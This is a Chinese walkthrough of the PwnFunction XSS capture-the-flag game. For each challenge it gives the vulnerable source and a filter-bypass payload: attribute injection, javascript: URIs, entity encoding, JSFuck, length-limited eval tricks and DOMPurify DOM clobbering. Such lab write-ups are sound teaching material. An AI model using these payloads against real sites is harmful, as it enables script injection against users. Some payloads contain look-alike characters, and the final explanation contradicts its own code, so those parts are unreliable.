源网站:XSS 游戏 - 学习 XSS 变得简单! |创建者 PwnFunction
以下为解码工具:
在线 JSFuck 加密 - 百川在线工具箱 (chaitin.cn)
CyberChef
1、Ma Spaghet!
条件
- Difficulty is Easy.
- Pop an
alert(1337)
onsandbox.pwnfunction.com
. - No user interaction.
- Cannot use
https://sandbox.pwnfunction.com/?html=&js=&css=
. - Tested on Chrome.
源码
<!-- Challenge -->
<h2 id="spaghet"></h2>
<script>
spaghet.innerHTML = (new URL(location).searchParams.get('somebody') || "Somebody") + " Toucha Ma Spaghet!"
</script>
因为本关没有如何绕过,输入一下即可:
?somebody=<svg%20οnlοad=alert(1337)>
2、Jefff
源码:
<!-- Challenge -->
<h2 id="maname"></h2>
<script>
let jeff = (new URL(location).searchParams.get('jeff') || "JEFFF")
let ma = ""
eval(`ma = "Ma name ${jeff}"`)
setTimeout(_ => {
maname.innerText = ma
}, 1000)
</script>
用第一个"将函数闭合,再执行alert,然后闭合后一个":
?jeff=123";alert(1337);"
3、Ugandan Knuckles
源码:
<!-- Challenge -->
<div id="uganda"></div>
<script>
let wey = (new URL(location).searchParams.get('wey') || "do you know da wey?");
wey = wey.replace(/[<>]/g, '')
uganda.innerHTML = `<input type="text" placeholder="${wey}" class="form-control">`
</script>
此题因为要求用户不能交互,因此需要一个属性‘autofocus’——表示元素应在页面加载时或其所属的 <dialog> 显示时被聚焦:
?wey="οnfοcus=alert(1337)%20autofocus="
注:
1.onclick是在对象被鼠标点击或者选取时触发
2.onfocus是在对象获得焦点时触发,获得焦点可以通过点击鼠标或者用TAB键
4、Ricardo Milos
源码:
<!-- Challenge -->
<form id="ricardo" method="GET">
<input name="milos" type="text" class="form-control" placeholder="True" value="True">
</form>
<script>
ricardo.action = (new URL(location).searchParams.get('ricardo') || '#')
setTimeout(_ => {
ricardo.submit()
}, 2000)
</script>
此题也没有过滤,直接使用javascript弹窗即可:
?ricardo=javascript:alert(1337)
5、Ah That's Hawt
源码:
<!-- Challenge -->
<h2 id="will"></h2>
<script>
smith = (new URL(location).searchParams.get('markassbrownlee') || "Ah That's Hawt")
smith = smith.replace(/[\(\`\)\\]/g, '')
will.innerHTML = smith
</script>
此题过滤[、(、`、)、\,直接使用alert()显然不行,但是没有过滤html编码:
<svg οnlοad="alert(1337)"> --->
html编码 第一排为10进制,第二排为16进制,均可实现 alert(1337) <svg οnlοad="alert(1337)"> --->
url编码 %3Csvg%20onload%3D%22%26%23x61%3B%26%23x6C%3B%26%23x65%3B%26%23x72%3B%26%23x74%3B%26%23x28%3B%26%23x31%3B%26%23x33%3B%26%23x33%3B%26%23x37%3B%26%23x29%3B%22%3E
6、Ligma
源码:
/* Challenge */
balls = (new URL(location).searchParams.get('balls') || "Ninja has Ligma")
balls = balls.replace(/[A-Za-z0-9]/g, '')
eval(balls)
由源码分析可得,函数过滤了字母与数字,我们可以采用JSFuck绕过,
alert(1337) ---> 结果jsfuck加密:
[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()
由于其中含有特殊字符,所以我们需要结果html编码,内容过长:
"%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D%5B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D((!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B%5B%2B!%2B%5B%5D%5D%2B%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D)()"
在html编码前面加上——?balls=即可
7、Mafia
源码:
/* Challenge */
mafia = (new URL(location).searchParams.get('mafia') || '1+1')
mafia = mafia.slice(0, 50)
mafia = mafia.replace(/[\`\'\"\+\-\!\\\[\]]/gi, '_')
mafia = mafia.replace(/alert/g, '_')
eval(mafia)
由源码可得:1、限制字符长度50。2、将`'"+-!\[]
被替换为_、alert
被替换为_。
方法一:
构造函数 --- Function()
Function(/ALERT(1337)/.source.toLowerCase())()
最后一个()是为了执行前面的函数,因为过滤了小写,所以我们利用大写来绕过,其中的toLowerCase将大写变小写——js严格区分大小写
方法二:
我们先介绍一个函数——parseInt
由于0-t的进制至少30位,所以我们转化为30进制
toString——将对象转化为一个初始值
eval(8680439..toString(30))(1337)
方法三:
答案:eval(location.hash.slice(1))#alert(1337)
location.hash——将#及后面的值取出,slice截取从第一位开始的值:
也就是将alert(1337)拿出放入()里面,得到eval(alert(1337))
8、Ok, Boomer
源码:
<!-- Challenge -->
<h2 id="boomer">Ok, Boomer.</h2>
<script>
boomer.innerHTML = DOMPurify.sanitize(new URL(location).searchParams.get('boomer') || "Ok, Boomer")
setTimeout(ok, 2000)
</script>
此题采用DOMPurify框架来过滤非法字符,
DOM破坏——DOM破坏是一种高级技术,可以将HTML注入页面中以操纵DOM并最终更改网站上JavaScript的行为。
tel为DOMPurify中一个合法的协议
创造一个id=ok,然后自动调用tostring()方法,将href里面的值放入ok里面,两秒后执行。
?boomer=<a%20id=ok%20href=tel:alert(1337)>
Dom破坏案例
源码:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="author" content="system">
<meta name="keywords" content="whoami">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>
<script>alert(1)</script>
</title>
</head>
<body>
<!-- <div class="123" id="234">lala</div>// <div class="123" id="234">lala</div>//方法一 -->
<!-- <style>@keyframes x{}</style><form style="animation-name: x" onanimationstart="alert(1)"><input id=attributes><input id=attributes>//方法二 -->
</body>
<script>
const data = decodeURIComponent(location.hash.substr(1))
const root = document.createElement('div')
root.innerHTML = data
// console.log(root.querySelectorAll('*'))
for (let el of root.querySelectorAll('*')) {
let attrs = [];
for (let attr of el.attributes) {
attrs.push(attr.name)
}
for (let name of attrs) {
el.removeAttribute(name);
}
}
document.body.appendChild(root);
</script>
</html>
方法一:
两个或多个<svg>标签均可执行
在removeAttribute执行前将<svg>执行——需要了解js底层代码
#<svg><svg%20οnlοad=alert(1)>
方法二:
答案在代码内部。
首先,<style>@keyframes x{}</style>
定义了一个名为"x"的关键帧动画,但没有指定任何动画效果。关键帧动画用于创建复杂的动画效果,但在这个例子中,它没有实际作用。
接下来,<form style="animation-name: x" onanimationstart="(1)">
是一个表单元素,它的样式属性设置为使用名为"x"的关键帧动画。然而,由于关键帧动画没有定义任何效果,所以这个动画实际上不会发生。
此外,onanimationstart="(1)"
是一个事件处理器,它在动画开始时触发。但是,这里的表达式(1)
并不是有效的JavaScript代码,因此它不会产生任何效果。
只是将两个input表单删除